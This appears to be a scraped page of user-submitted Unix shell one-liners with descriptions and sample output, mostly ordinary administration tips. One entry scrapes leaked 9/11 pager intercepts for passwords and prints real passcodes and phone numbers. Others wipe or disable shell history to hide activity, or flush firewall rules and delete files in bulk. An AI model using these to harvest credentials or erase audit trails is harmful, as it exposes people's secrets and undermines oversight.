's/\(.\{'"$1"'\}\)\(.*\)/\1/' esac;} tty columns for small output only example usage: jobs -l |col1 72 uname -m i686 Functions: uname check if your processor is 32 or 64 bit i686 = 32 bits x86_64 = 64 bits the command "getconf LONG_BIT" will work just as well. lsusb Functions: lsusb list connected usb devices # cat file1.mp3 file2.mp3 > file3.mp3 file3.mp3 cat - concatenate MP3 files and save it... source filename_script.sh Execute external code Useful command to avoid unreadble script in a single file... man $(/bin/ls /bin | awk '{ cmd[i++] = $0 } END { srand(); print cmd[int(rand()*length(cmd))]; }') Build an awk array with all commands and then select a random one at the end. This avoids spawning extra processes for counting with wc or generating random numbers. Explicitly call /bin/ls to avoid interactions with aliases. not () { "$@" && return 1 || return 0; } run command with opposite return code Useful in while and if statements if not grep string filename; then echo string not found; exit 1; fi export IFS=$'\n';for dir in $( ls -l | grep ^d | cut -c 52-);do du -sh $dir; done Functions: cut dir du export grep ls Reports size of all folders in the current folder. Useful when burning CD's and DVD's ‹ First < 328 329 330 331 332 > Last › cat file.txt|perl -ne '$_=~s/\s+/\n/g; print $_;' Replace spaces with newlines This command is useful for separating a text file where all the words are in one line. Any group of spaces will be replaced with a single newline. Instead of one long line of tokens. You'll have a long list of tokens. One token per line. x=192.168.1.1; whois $x > $x.txt # Query terms are ambiguous. The query is assumed to be: # "n 192.168.1.1" # Use "?" to get help. # The following results may also be obtained via: # http://whois.arin.net/rest/nets;q=192.168.1.1?showDetails=true&showARIN=false OriginAS: NetName: PRIVATE-ADDRESS-CBLK-RFC1918-IANA-RESERVED NetHandle: NET-192-168-0-0-1 Parent: NET-192-0-0-0-0 NetType: IANA Special Use NameServer: BLACKHOLE-1.IANA.ORG NameServer: BLACKHOLE-2.IANA.ORG Comment: This block is used as private address space. Comment: Addresses from this block can be used by Comment: anyone without any need to coordinate with Comment: IANA or an Internet registry. Addresses from Comment: this block are used in multiple, separately Comment: operated networks. Comment: This block was assigned by the IETF in the Comment: Best Current Practice document, RFC 1918 Comment: which can be found at: Comment: http://www.rfc-editor.org/rfc/rfc1918.txt Ref: http://whois.arin.net/rest/net/NET-192-168-0-0-1 OrgName: Internet Assigned Numbers Authority OrgId: IANA City: Marina del Rey StateProv: CA Country: US RegDate: Ref: http://whois.arin.net/rest/org/IANA OrgTechHandle: IANA-IP-ARIN OrgTechName: Internet Corporation for Assigned Names and Number OrgTechPhone: +1-310-301-5820 OrgTechEmail: abuse@iana.org OrgTechRef: http://whois.arin.net/rest/poc/IANA-IP-ARIN OrgAbuseHandle: IANA-IP-ARIN OrgAbuseName: Internet Corporation for Assigned Names and Number OrgAbusePhone: +1-310-301-5820 OrgAbuseEmail: abuse@iana.org OrgAbuseRef: http://whois.arin.net/rest/poc/IANA-IP-ARIN # ARIN WHOIS data and services are subject to the Terms of Use # available at: https://www.arin.net/whois_tou.html Functions: whois Whois on target and save results to file instantly This can be used in scripts, to find out the origin of target IP etc. printf "$string" | md5sum find . |more |grep -v filename |xargs rm -5 delete files except some file awk '{if (NR == 3) print}' <file> I don't know if it's better but works fine :) gawk '{n=$1;a=0;b=1;c=1;for(i=1;i<n;i++){c=a+b;a=b;b=c};print c}' << eof finish input with: eof 26863810024485337815052569207027905710267776959038865271418527606059667101451514099303873236210167827650084004405807693119964697202348044908203804335127173454055409270617765081794282450393830849992803129229312 only take the first field on each row to compute the fibo on this number find . -name "*.c" -exec sed -i "/\/sh/a\####################################\n#Date:2010-05-18\n#Company:XXXXX tech Co.\n#Author:Wangjunling\n#Copyright:gpl\n####################################" {} \; bat add copyright info iptables -F removedir(){ read -p "Delete the current directory $PWD ? " human;if [ "$human" = "yes" ]; then [ -z "${PWD##*/}" ] && { echo "$PWD not set" >&2;return 1;}; rm -Rf ../"${PWD##*/}"/ && cd ..; else echo "I'm watching you" | pv -qL 10; fi; } [user@host foo]$ removedir Delete the current directory /home/user/asdf/.hidden/a b c/foo ? no I'm watching you Delete the current directory /home/user/asdf/.hidden/a b c/foo ? yes [user@host a b c]$ removedir Delete the current directory /home/user/asdf/.hidden/a b c ? yes [user@host .hidden]$ removedir Delete the current directory /home/user/asdf/.hidden ? yes [user@host asdf]$ unset PWD [user@host asdf]$ removedir Delete the current directory ? yes $PWD not set [user@host asdf]$ May want to change echos to more descriptive (more than 255 characters) such as: $ removedir(){ read -p "You are about to delete the current directory $PWD Are you sure? " human;if [ "$human" = "yes" ]; then [ -z "${PWD##*/}" ] && { echo "Error: Couldn't get working directory" >&2;return 1;}; rm -Rf ../"${PWD##*/}"/ && cd ..; else echo "I'm watching you" | pv -qL 10; fi; } Functions: cd echo read rm Remove current directory (REVISED) Credit goes to "eightmillion" p=$(netstat -nate 2>/dev/null | awk '/LISTEN/ {gsub (/.*:/, "", $4); if ($4 == "4444") {print $8}}'); for i in $(ls /proc/|grep "^[1-9]"); do [[ $(ls -l /proc/$i/fd/|grep socket|sed -e 's|.*\[\(.*\)\]|\1|'|grep $p) ]] && cat /proc/$i/cmdline && echo; done Functions: awk cat grep ls netstat sed netstat -p recoded (totaly useless..) Ok so it's rellay useless line and I sorry for that, furthermore that's nothing optimized at all... At the beginning I didn't managed by using netstat -p to print out which process was handling that open port 4444, I realize at the end I was not root and security restrictions applied ;p It's nevertheless a (good ?) way to see how ps(tree) works, as it acts exactly the same way by reading in /proc So for a specific port, this line returns the calling command line of every thread that handle the associated socket wget -O - -q http://whatismyip.org/ This just output your external IP, no extra characters at the end of line. [ $(ps -Af|grep Tomcat|wc -l) != 1 ] && ps -Af|grep Tomcat| awk '{print $2}'| xargs kill -9 Functions: awk grep kill ps wc xargs Check for running service by name and kill it if there are more than one. Will search processes by Tomcat, then kill all processes with Tomcat in it if there are more than the one grep which will always be there. Kill -9 is kind of harsh... but I don't care. Got this from a Tomcat server that wouldn't shut down properly, so it I did this to make sure it was down before bringing it back up. man <command> then type h Learn searching and navigating in man like a boss Read all chapters up to 'Jumping', improve your effectiveness of wirking in terminal. Most useful are the Moving and Searching commands df -h Show the amount of space left on mounted harddrives Bulit-in function in linux, so should work on any linux distribution. zip -r -9 /var/www/html/project.zip /var/www/html/project Project Zipped find . -type d -name 'CVS' | xargs rm -r ls -1 static/images/ | while read line; do echo -n $line' '[; grep -rc $line *|grep -v ".svn"|cut -d":" -f2|grep -vc 0| tr "\n" -d; echo -n ]; echo ; done select-button.gif [1] select-top.png [1] tab.png [0] Thumbs.db [0] Functions: cut echo grep ls read tr Recursively grep a subdirectory for a list of files This command will grep the entire directory looking for any files containing the list of files. This is useful for cleaning out your project of old static files that are no longer in use. Also ignores .svn directories for accurate counts. Replace 'static/images/' with the directory containing the files you want to search for. telnet zerocarbs.wooters.us -------------------------------------------------------------------------------- * _ _ * * __ _____ ___ | |_ ___ _ __ ___ _ _ ___| | * * \ \ /\ / / _ \ / _ \| __/ _ \ '__/ __|| | | / __| | * * \ V V / (_) | (_) | || __/ | \__ \| |_| \__ \_| * * \_/\_/ \___/ \___/ \__\___|_| |___(_)__,_|___(_) * * Woot! Auria 26? 720p LCD HDTV * * Price: $249.99 Condition: New Plenty left * * Shirt.Woot! Devostation * * Price: $10.00 Condition: Mutually Assured Plenty left * * Wine.Woot! White Zeppelin 2009 Chardonnay - 3 Pack * * Price: $39.99 Condition: White Sold out * * Sellout.Woot! Skil Isio 2-in-1 Shrub Trimmer and Grass Shear * * Price: $34.99 Condition: New Plenty left * * Kids.Woot! Clifford the Big Red Dog Toy Organizer * * Price: $19.99 Condition: New Plenty left * Connects to a telnet service monitoring Woot! Gives you an updating woot! item tracker! while true; do ifconfig eth0 | grep "inet addr:"; sleep 60; done; inet addr:192.168.1.2 Bcast:192.168.1.255 Mask:255.255.255.0 [60 seconds later] [... Ctrl+C to stop] Functions: grep ifconfig sleep Periodically loop a command You can use this to loop any command to periodically see the output. while true; do [YOUR COMMAND HERE]; sleep [# of seconds]; done; Alternatively, you can put it in a simple shell script to save typing! #/!bin/bash while true; do $1; sleep $2; done; /path/to/script.sh "ifconfig eth0 | grep 'inet addr:'" 60 ps -ef|grep jboss | grep -v grep | awk '{print $2}'|xargs kill -9 Replace jboss with name of your program. set colsep "{char}" Oracle: set column separator set colsep "&TAB" -- for tab separator set colsep "|" -- for pipe separator etc... du -sh some/directory blaine@blaine-workstation:~$ du -sh . 11G . Show the size of a directory ssh -X johndoe@123.456.789 3 Simple Steps to X11 Forward on Mac OS X To start X11 display only on your local machine: xeyes & Extensions to basic command: ssh -X -f user@remotehost xcalc -bg black -fg green xdg-open http://xkcd.com/ KISS To get a random xkcd comic: xdg-open http://dynamic.xkcd.com/random/comic/ zcat /usr/share/man/man1/grep.1.gz | grep "color" groups of context lines) with escape sequences to display them in color The colors are defined by the environment variable This variable specifies the color used to highlight matched (non-empty) text. It can only specify the color used to highlight Specifies the colors and other attributes The default is empty (i.e., the terminal's default color pair). each time a colorized item ends. Search gzipped files This decompresses the file and sends the output to STDOUT so it can be grepped. A good one to put in loops for searching directories of gzipped files, such as man pages. ‹ First < 329 330 331 332 333 > Last › psg() { ps aux | grep "[${1[1]}]${1[2,-1]}"; } `--> ps? urxvt alias ps?='psg' for maximum hawtness. Works in bash or zsh. for f in *; do mv $f <target_path>; done; Move large numbers of files In my job I often have to deal with moving 100,000 files or more. A mv won't do it because there are too many. This will move everything in the current directory to the target path. ifconfig | grep addr:192 | sed s/Bcast.*// | sed 's/^.*inet addr://' This assumes your local ip starts with 192.something (e.g. 192.168), it greps ifconfig output for an ip that starts with 192, then strips the extra garbage (besides the ip) Maybe `ifconfig | grep addr | grep Bcast` would also do it for x in *.ogg; do ffmpeg -i "$x" "`basename "$x" .ogg`.mp3" Convert a bunch of oggs into mp3s declare -i i; i=0; for file in *; do i=`expr $i+1`; mv "$file" $i; done; Numerate files, rename files in a directory by incremental number Renames files in a directory to incremental numbers, following alphabetic order. The command does not maintain extensions. rm -rf `find ./ -iname *.svn*` delete all .svn directory in a directory say sofa king great Mac OS X command line hilarity Just type it and hit enter and you will get it. ps aux | grep 'httpd ' | awk {'print $2'} | xargs kill -9 kills all processes for a certain program e.g. httpd 5.0.2 Find out your Debian version Easy way to find out what Debian version your machine is running sudo alien --to-deb Your_PackAge.rpm gnu@robby:~/Bureau$ sudo alien --to-deb prozilla-1.3.6-1.i686.rpm prozilla_1.3.6-2_i386.deb generated gnu@robby:~/Bureau$ sudo dpkg -i prozilla_1.3.6-2_i386.deb dpkg - avertissement?: prozilla mis ? jour de la version 2.0.4-1 vers l'ancienne version 1.3.6-2. (Lecture de la base de donn?es... 169043 fichiers et r?pertoires d?j? install?s.) Pr?paration du remplacement de prozilla 2.0.4-1 (en utilisant prozilla_1.3.6-2_i386.deb) ... D?paquetage de la mise ? jour de prozilla ... Param?trage de prozilla (1.3.6-2) ... Traitement des ? d?clenchements (triggers) ? pour ? man-db ?... convert .rpm to .deb using alien convert to debian package file (deb) a redhat package file (rpm) , then you can install it by using dpkg , require alien package ( sudo apt-get install alien first ) for file in `find . -iname "FILENAME"`; do cat $file | sed "s/SEARCH_STRING/REPLACE_STRING/" > $file.tmp; mv $file.tmp $file; done Functions: cat file mv sed logs=$(find . -name *.log);for log in $logs; do cat /dev/null > $log;done Truncate logs in unix This find files of name like *.log and truncates them. while true; do wget -r -l1 --no-clobber -A.txt http://911.wikileaks.org/files/index.html; done; cat *.txt | grep pass 2001-09-11 17:37:01 Skytel [003937285] B ALPHA A conference call is scheduled 1700 CDT on 9-11-01. Current plans to address security, dvrtd flts & resumption of svc.Outside phn 1-800-857-3412; Unitel 8-888-0484; Intl 1-312-470-7298. Passcode 93390#. ordoo-becky johnson -recommend 2001-09-11 17:20:58 Skytel [002863587] A ALPHA kinc: CODERED-BU: Call 1-888-224-0047, passcode 212-762-2317. Call 2001-09-11 19:14:46 Skytel [005253896] C ALPHA Joanne. Up on my latop is a word doc (telesales contract) please email to BAM Asap. my password is still campbell- CC -recommend 2001-09-11 18:33:01 Arch [0472521] C ALPHA . R.R.R.A.T. ALERT from HEAT . Please call 1-800-453-7412 NOW! Client ID=154571; Password=331340 .RANCE KNISLEY reports: .TKT 00556495 opened. -recommend Functions: cat grep wget Passwords from 9/11 tragedy pager intercepts (Yeah! Plain text! From wikileaks.net) http://www.reddit.com/r/reddit.com/comments/a7xpt/conspiracy_theories_commence_wikileaks_to_release/ ls -l `locate your_search_here` thomas-desktop:~$ locate mediawiki /usr/lib/openoffice/basis3.1/share/xslt/wiki/odt2mediawiki.xsl thomas-desktop:~$ ls -l `locate mediawiki` -rw-r--r-- 1 root root 44014 2008-12-12 07:52 /usr/lib/openoffice/basis3.1/share/xslt/wiki/odt2mediawiki.xsl Find files and format them in detailed list This command lists extended information about files, i.e. whether or not it is a true file or link, who owns it, etc. without having to 'ls' from the specific directory. If you know the filename, but not the location, this helps with finding other information about the file. It can be truncated by creating an alias for 'ls -l'. The sample output shows difference in regular locate vs. ls + locate. echo "13" | ed /etc/services 19666 tcpmux 1/tcp # TCP port service multiplexer Functions: echo ed Nth line of a file - dirty hack way. I haven't used ed in ages ;-) echo "<your twit>" | wc -c - Count your Twit length before posting head -n 13 /etc/services | tail -n 1 Silly approach, but easy to remember... ls -1rSA | tail This will only work on files since ls won't tell the size of a directory contents. Note that the first switch is the digit one, not the letter ell. find ./ -mtime -5 | xargs rm -f alias agi='sudo apt-get install' Fast install software in Ubuntu tar --exclude='.svn' -c -f /path/to/file.tar /path/to/directory Tar a subversion working copy...without all those hidden directories! for f in `jot - 0 50 5` ; do ping -c 1 -m 50 10.0.2.$f ; done --- 10.0.2.0 ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max/stddev = 336.439/336.439/336.439/0.000 ms PING 10.0.2.5 (10.0.2.5): 56 data bytes ?^C --- 10.0.2.5 ping statistics --- 1 packets transmitted, 0 packets received, 100% packet loss PING 10.0.2.10 (10.0.2.10): 56 data bytes --- 10.0.2.10 ping statistics --- PING 10.0.2.15 (10.0.2.15): 56 data bytes --- 10.0.2.15 ping statistics --- PING 10.0.2.20 (10.0.2.20): 56 data bytes --- 10.0.2.20 ping statistics --- PING 10.0.2.25 (10.0.2.25): 56 data bytes --- 10.0.2.25 ping statistics --- PING 10.0.2.30 (10.0.2.30): 56 data bytes --- 10.0.2.30 ping statistics --- PING 10.0.2.35 (10.0.2.35): 56 data bytes --- 10.0.2.35 ping statistics --- PING 10.0.2.40 (10.0.2.40): 56 data bytes --- 10.0.2.40 ping statistics --- PING 10.0.2.45 (10.0.2.45): 56 data bytes --- 10.0.2.45 ping statistics --- PING 10.0.2.50 (10.0.2.50): 56 data bytes --- 10.0.2.50 ping statistics --- sequence of numbers in a for loop Say you need to ping every 5th IP address on your network .. this will give you a way of doing that. jot can also do counting ... like jot 4 download from http://oreilly.com/catalog/upt2/examples/#jot or fins athena-jot in rpm format pv file1 > file2 200MB 0:00:02 [37.6MB/s] [====> ] 15% ETA 0:00:10 Only works on single files, doesn't preserve permissions/timestamps/ownership. (crontab -e) 00 12 * * * apt-get update (/etc/init.d/cron restart) Functions: crontab kill %1 $ ping www.google.com & $ jobs [1]+ Running ping www.google.com & $ kill %1 [1]+ Terminated ping www.google.com & Kill a background job ‹ First < 330 331 332 333 334 > Last › curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/; Checks your unread Gmail from the command line sudo service vpnclient_init start Starting /opt/cisco-vpnclient/bin/vpnclient: Done Starting the VPN service Prerequisites: [1] download the CISCO VPN client for linux: http://tuxx-home.at/archives/2007/09/24/T15_26_49/ [2] apply this ciscpo VPN patch: http://bit.ly/linux_vpn_patch [*] use command to start client [*+1] After copying your profile file to /etc/opt/cisco-vpnclient/Profiles, connect using vpnclient connect TORVPN-TCP Assuming only VIM has *~ files in your current dir. If you have usefull data in a file named in the *~ pattern, DO NOT RUN this command! ps aux | awk '/name/ {print $2}' find a process id by name This finds a process id by name, but without the extra grep that you usually see. Remember, awk can grep too! cd // $ cd / / $ cd // // <= is not '/' $ cd /// change directory into '//' Please see sample output. Ctrl+l find ~ -mtime +365 -exec mv {} /tmp/mybackup \; exec option in find This example uses the -exec option to move all matching files into a backup directory perl -e 'map { $on=$_; s/\]/_/; rename($on, $_) or warn $!; } <*>;' Replace square brackets to underscore in all filenames (current dir.) ps ax | grep <processname> | grep -v grep | awk '{print $1}' | sudo xargs kill -9 Functions: awk grep kill ps sudo xargs Kill a bunch of processes with the same name alias pfind='ps aux | grep ' Helpful alias to grep for the PID. cat > /dev/null $ cat > /dev/null (press some non-printable keys, here Ctrl + Left Arrow) ^[OD Get non-printable keycode to bind keys in applications In exemple, screen can bind keys to switch between windows. I like to use Ctrl + Arrow to move left or right window. So I bind like this in .screenrc : bindkey ^[OD prev # Ctl-left, prev window bindkey ^[OC next # Ctl-right, next window while read line; do echo $line; done <<< "$var" script 1 __________________ var="nullll" echo "var=$var" echo str="aa cc" echo "$str" | while read line do echo "line=$line" var="whillleeee" ------------------------------ var=nullll line=aa line=bb var=whillleeee line=cc ___________________________________________________________ script 2--------------------------------------------------- while read line done <<< "$str" ---------------------------------- ------------------------------------ Access variables inside a - piped while - loop Consider the following simple situation [ reading something using while and read ] [See script 1 in sample output] --------------------------------------------------- The variable var is assigned with "nullll" at first. Inside the while loop [piped while] it is assigned with "whillleeee". [Onlly 2 assignments stmts]. Outside the loop the last assigned value for "var" [and no variable] inside the while can't be accessed [Due to pipe, var is executed in a sub shell]. In these type of situation variables can be accessed by modifying as follows. [See script 2 in sample output] ___________________________ Vary helpful when reading a set of items, say file names, stored on a file [or variable] to an array an use it later. Is there any other way 2 access variables inside and outside the loop ?? while true; do sleep 4 ; xdotool click 1 ; done Automation click every 4 second on a macro slot bar to world of warcraft for prospecting item enable auto loot and create macro, put mouse over slot on the bar /cast Prospecting /use Elementium Ore history -r Clear current session history poweriso convert image.daa -o image.iso -ot iso convert .daa to .iso for person in Alex Bruce Fred Kathy Vicki Victoria ; do say -v $person "Hello, my name is $person"; sleep 1; done Listen to the OS X system's voices Listen to different voices in the system--useful for picking the voice you like find /dir/ -name *name* Searching files "*" is important if you don't know exact name of file. Check it out and you'll see echo 00:29:36 | nawk -F: '{seconds=($1*60)*60; seconds=seconds+($2*60); seconds=seconds+$3; print seconds}' pkill $1 There's already a proper command for what the former alternative tried to script lynx --dump http://ip.boa.nu|sed -e 's/^[[:space:]]*//' -e 's/*[[:space:]]$//'|grep -v ^$ For those of us that still uses lynx :) !tail That's what she said date -d "1970/01/01 00:29:36 GMT" +%s print -l $path This doesn't work in bash, but in zsh you can typeset -T to bind a scalar variable to an array. $PATH and $path behave this way by default. A faster ls Sometimes "ls" is just too slow, especially if you're having problems with terminal scroll speed, or if you're a speed freak. In these situations, do an echo * in the current directory to immediately see the directory listing. Do an echo * | tr ' ' '\n' if you want a column. Do an alias ls='echo *' if you want to achieve higher echelons of speed and wonder. Note that echo * is also useful on systems that are so low in memory that "ls" itself is failing - perhaps due to a memory leak that you're trying to debug. rm ~/.bash_history && kill -9 $$ Functions: kill rm Sneaky logout Best way I know to get rid of .bash_history and don't allow bash to save the current one on exit Edit: added ~/ before .bash_history, just in case... ;) ‹ First < 331 332 333 334 335 > Last › while read col1 col23; do echo $col1; done < three-column.txt > first-column.txt jot -b '' 100 ls -1 | sort -R | sed -n 's/^/Selected /;1p' /tmp$ ls -1 | sort -R | sed -n 's/^/Selected /;1p' Selected keyring-dn8fNC Select a file/folder at random. find . -name "*.java" -exec gnome-terminal \-x vim {} \; Open a list of files in VIM using separate terminal windows Not that useful really, more novel. Can open up an awful lot of terminal windows. tail -n +4 | head -n 1 ls -R . Read directory contents recursively rm ~/.bash_history; ln -s /dev/null ~/.bash_history Remove your BASH history and then link it to /dev/null getenforce [root@linux ~]# getenforce Disabled SELinux Status Shows the status of SElinux. -- fir3net.com -- ga vim display hex value char under cursor tail -n +<N> <file> | head -n 1 $ tail -n +5 /var/log/dmesg | head -n 1 [ 0.000000] KERNEL supported cpus: Tail is much faster than sed, awk because it doesn't check for regular expressions. ps -ef | grep pmon find . -type d -exec chmod 0755 {} \; "Reset" directories permissions WARNING! This command may set an invalid permission under your current directory. This command will set the 0755 permissions to all directories under your current directory. An alternative version of this command is: find ~/.ssh -type d -exec chmod 0700 {} \; while (( 1==1 )); do du -c . >> output.log; sleep 2; done; tail -f output.log 4 ./pg_twophase 5364 ./base/17868 5268 ./base/11563 5268 ./base/1 114288 ./base/11564 4 ./base/pgsql_tmp 5736 ./base/19846 135932 ./base 268584 . 268584 total Functions: du sleep tail show space used by postgres this command shows the space used in postgres directory. find / -name *.conf | tee salida Functions: find tee sirve para ver la salida de un comando en pantalla y al mismo tiempo guardar la salida en un fichero find . | grep ".*\[[Church|CPYAF].*" | while read f; do mv "$f" ../emails;done Functions: find grep mv read Move files matching a certain pattern to another folder . ~/.profile Refresh profile file If you edit your .profile you need to refresh it for changes to take place. Simple way to refresh is logout and login. This command is the quickest way to do it. If you're deleting some variables, they would not get nulled with this command but just removed. mvn archetype:create -DgroupId=my.work -DartifactId=MyProject Creating a Maven project This will create a new directory called MyProject with a pom.xml and the following tree structure: MyProject |-->pom.xml |-->src | |-->main | | |-->java | | | |-->my | | | | |-->work | | | | | |-->App.java | |-->test | | | | | |-->AppTest.java perl -pe 's/,/\t/g' < report.csv > report.tsv Convert CSV to TSV function rot13 { if [ -r $1 ]; then cat $1 | tr '[N-ZA-Mn-za-m5-90-4]' '[A-Za-z0-9]'; else echo $* | tr '[N-ZA-Mn-za-m5-90-4]' '[A-Za-z0-9]'; fi } Functions: cat echo tr Will rot 13 whatever parameter follows 'rot13', whether it is a string or a file. Additionally, it will rot 5 each digit in a number mkdir replaced;for i in *; do cat "$i"| sed 's/foo/bar/' > "replaced/$i"; done Functions: cat mkdir sed replace text in all files in folder, into subfolder if you want to replace "foo" with "bar" in all files in a folder, and put the resulting files into a new subfolder find . -type f | xargs grep -l "string" ./script-45/parser.db egrep -r replacement for UNIX systems Finds a string in files recursively below the current directory on systems without the "egrep" and its "-r" functionality. echo "A great password" | md5sum 280e25ade5d92394063ca7ae071d9f16 Use md5 to generate a pretty hard to crack password You can also use sha1sum and variants for longer passwords ''=~('(?{'.('_/@.*@'^'/])@^`').'"'.('"/_/@]/--!.:@</:[@(:/:^'^'[@*]`>@@@@@^`[@_(`@_]_|').',$/})') # more glutton ''=~('(?{'.('_/@.*@'^'/])@^`').'"'.('"/_/@]/--!.:@</:[@(:/:^'^'[@*]`>@@@@@^`[@_(`@_]_|').',$/})') # perl glutton your command goes here Glutton for punishment Alrighty, so I was really bored ;) bm () { ... see description } http://pastie.org/1311051 ps aux|grep -i [p]rocessname|awk '{ print $2 }'|xargs kill search for and kill a process in one blow ‹ First < 332 333 334 335 336 > Last › dd bs=1 count=32 if=/dev/random 2> /dev/null | md5 | grep -o '\w*' Functions: dd grep !?192 search and run command in history Might match "ping 192.168.0.1" and then run it. source ~/.bash_profile reload bash_profile when editing .bash_profile (or .bashrc), run this to use the new version without having to exit and open a new terminal for i in $(find . -name *replaceme*);do mv "$i" "${i//replaceme/withme}"; done rename is a great command, but can't get it to work on mac. sudo alsa force-reload reloads sound when it stop playing if you lose your sound, this will restart alsa and you will get your sound back oumou sangare crontab -e Edit Crontab find . -maxdepth 1 -type d -not -name . -exec du -sh {} + Parsing the output of ls is never a good idea for any reason. Using find this way: - works with files that have spaces in their names. - actually lists "sub folders" and not of all files and folders. - does not break if there are a huge number of files in the current directory. ntop Network Information echo $((3.0/5.0)) tmpfs(){ case $# in 0)echo "tmpfs path";;1) case $1 in /tmp)local t=$HOME/.tmpfs;;*)local t=/tmp/.tmpfs;;esac;echo;local p="pax -rw -pe .";local g="cd -";mkdir $t;cd $1;$p $t;$g;mount -t tmpfs tmpfs $1;cd $t;$p $1;$g;rm -rf $t;;esac;} Functions: cd mkdir mount rm mount a folder tmpfs tr1(){ case $# in 0)echo "usage: tr1 string1 [string2]";;*)awk -F"$1" '{gsub(FS,"\n'$2'");print}';;esac;} multichar tr string1 '\n' allows for multi-char sentinals, while tr(1) only operates on single chars like tr(1), all versions of awk accept octals tr -d '\n' < file-with-unstructured-text-with-repeating-multichar-sentinal|tr1 multichar-sentinal | sed ... top - 18:53:03 up 103 days, 13:10, 1 user, load average: 0.00, 0.00, 0.00 Tasks: 46 total, 1 running, 45 sleeping, 0 stopped, 0 zombie Cpu(s): 0.0% us, 0.0% sy, 0.0% ni, 100.0% id, 0.0% wa, 0.0% hi, 0.0% si Swap: 0k total, 0k used, 0k free, 0k cached View process statistics in realtime A simple but effective replacement for ps aux. I used to waste my time running ps over and over; top is the way to go. It also allows complex sorting options. Press q to exit "nicely" (Ctrl + C is always an option, of course). Note that the list updates each second, resorting in the process; if you're trying to grab a specific PID, you might be better off with ps. htop Alternatively, htop is available, though it may not come pre-installed. htop is slightly more interactive than top and includes color coding, visuals, and a nice interface for selecting and then killing processes. (Thanks to bwoodacre for this great tool.) kill -9 `pgrep $PROCESS_NAME` kill -9 `pgrep firefox` kill -9 `pgrep gedit` Kill a process by application The pgrep retrieves the PID, then the KILL receive it, and kill it... It works also if the application has more than one instance.... kill_daemon() { echo "Daemon?"; read dm; kill -15 $(netstat -atulpe | grep $dm | cut -d '/' -f1 | awk '{print $9}') }; alias kd='kill_daemon Functions: alias awk cut echo grep kill netstat read Kill a daemon by name, not by PID Just find out the daemon with $ netstat -atulpe. Then type in his name and he gets the SIGTERM. dpkg-query -W | grep perl libapparmor-perl 2.5-0ubuntu3 libauthen-sasl-perl 2.13-1 libbit-vector-perl 7.1-1 libcache-perl 2.04-2 libcairo-perl 1.061-1build1 libcarp-clan-perl 6.02-1 libclass-accessor-perl 0.34-1 libclass-data-inheritable-perl 0.08-1 libclass-errorhandler-perl 0.01-2 libclass-singleton-perl 1.4-1 libcompress-raw-bzip2-perl 2.021-1 libcompress-raw-zlib-perl 2.023-1 libcompress-zlib-perl 2.022-1 libconvert-asn1-perl 0.22-1 libdate-manip-perl 6.05-1 libdatetime-format-mail-perl 0.3001-1 libdatetime-format-w3cdtf-perl 0.05-1 libdatetime-locale-perl 1:0.44-1 libdatetime-perl 2:0.5200-1 libdatetime-timezone-perl 1:1.10-1+2010b libdbd-mysql-perl 4.012-1ubuntu1 libdbi-perl 1.609-1build1 libdigest-sha1-perl 2.12-1build1 liberror-perl 0.17-1 libfeed-find-perl 0.06-2 libfile-basedir-perl 0.03-0.1build1 libfile-copy-recursive-perl 0.38-1 libfile-desktopentry-perl 0.04-2 libfile-mimeinfo-perl 0.15-1 libfile-nfslock-perl 1.20-2 libfinance-yahooquote-perl 0.22 libfont-afm-perl 1.20-1 libfreezethaw-perl 0.45-1 libglib-perl 1:1.222-1 libgnome2-canvas-perl 1.002-2build1 libgnome2-perl 1.042-2build1 libgnome2-vfs-perl 1.081-1build1 libgraphics-magick-perl 1.3.5-6 libgtk2-perl 1:1.221-4ubuntu2 libheap-perl 0.80-2 libhtml-format-perl 2.04-2 libhtml-parser-perl 3.64-1 libhtml-tagset-perl 3.20-2 libhtml-template-perl 2.9-1 libhtml-tree-perl 3.23-1 libinline-perl 0.45-1 libio-compress-base-perl 2.022-1 libio-compress-perl 2.022-1 libio-compress-zlib-perl 2.022-1 libio-socket-ssl-perl 1.31-1 libio-string-perl 1.08-2 liblist-moreutils-perl 0.25~02-1 liblocale-gettext-perl 1.05-6 liblwp-authen-wsse-perl 0.05-1 libmail-sendmail-perl 0.79.16-1 libmailtools-perl 2.05-1 libmldbm-perl 2.01-3 libnet-daemon-perl 0.43-1 libnet-dbus-perl 0.33.6-1build3 libnet-ldap-perl 1:0.39-1ubuntu1 libnet-ldap-server-perl 0.4-2 libnet-libidn-perl 0.12.ds-1 libnet-ssleay-perl 1.35-2ubuntu1 libnet-xmpp-perl 1.02-1 libpango-perl 1.221-2 libparams-validate-perl 0.93-1 libparse-debianchangelog-perl 1.1.1-2ubuntu2 libparse-recdescent-perl 1.963+dfsg-1 libperl5.10 5.10.1-8ubuntu2 libplrpc-perl 0.2020-2 librpc-xml-perl 0.72-1 libsub-name-perl 0.04-1build1 libsvn-perl 1.6.6dfsg-2ubuntu1 libsys-hostname-long-perl 1.4-2 libterm-readkey-perl 2.30-4build1 libterm-readline-perl-perl 1.0303-1 libterm-size-perl 0.2-4build3 libtext-charwidth-perl 0.04-6 libtext-iconv-perl 1.7-2 libtext-wrapi18n-perl 0.06-7 libtie-ixhash-perl 1.21-2 libtimedate-perl 1.1900-1 liburi-fetch-perl 0.08-1 liburi-perl 1.52-1 libuser-perl 1.6-2 libuuid-perl 0.02-3build2 libwww-perl 5.834-1 libwww-search-perl 2.50.70.debian.2 libxml-atom-perl 0.37-1 libxml-feed-perl 0.43+dfsg-1 libxml-libxml-perl 1.70.ds-1 libxml-libxslt-perl 1.70-1 libxml-namespacesupport-perl 1.09-3 libxml-parser-perl 2.36-1.1build3 libxml-rss-perl 1.47-1 libxml-sax-expat-perl 0.40-1 libxml-sax-perl 0.96+dfsg-2 libxml-stream-perl 1.22-4 libxml-twig-perl 1:3.32-3ubuntu1 libxml-xpath-perl 1.13-7 libyaml-syck-perl 1.07-1build1 perl 5.10.1-8ubuntu2 perl-base 5.10.1-8ubuntu2 perl-modules 5.10.1-8ubuntu2 IMVHO if you are using cpan to install perl modules you are doing it wrong. beep > beep.sh; clear > clear.sh beep.sh = ^G clear.sh = ESC[HESC[J Using the 'beep' and 'clear' command in scripts You can use these in your scripts and not only on the commandine. v () { echo "$@"; "$@"; } $ v rm -v *~ rm -v example~ removed `example~' Echo a command, then execute it You can use this in shell scripts to show which commands are actually run. Just prepend every "critical line" with "v˽". $TMP=/tmp echo "Let me create a directory for you" v mkdir $TMP/new In scripts this can be more useful than "set -x", because that can be very verbose with variable assignments 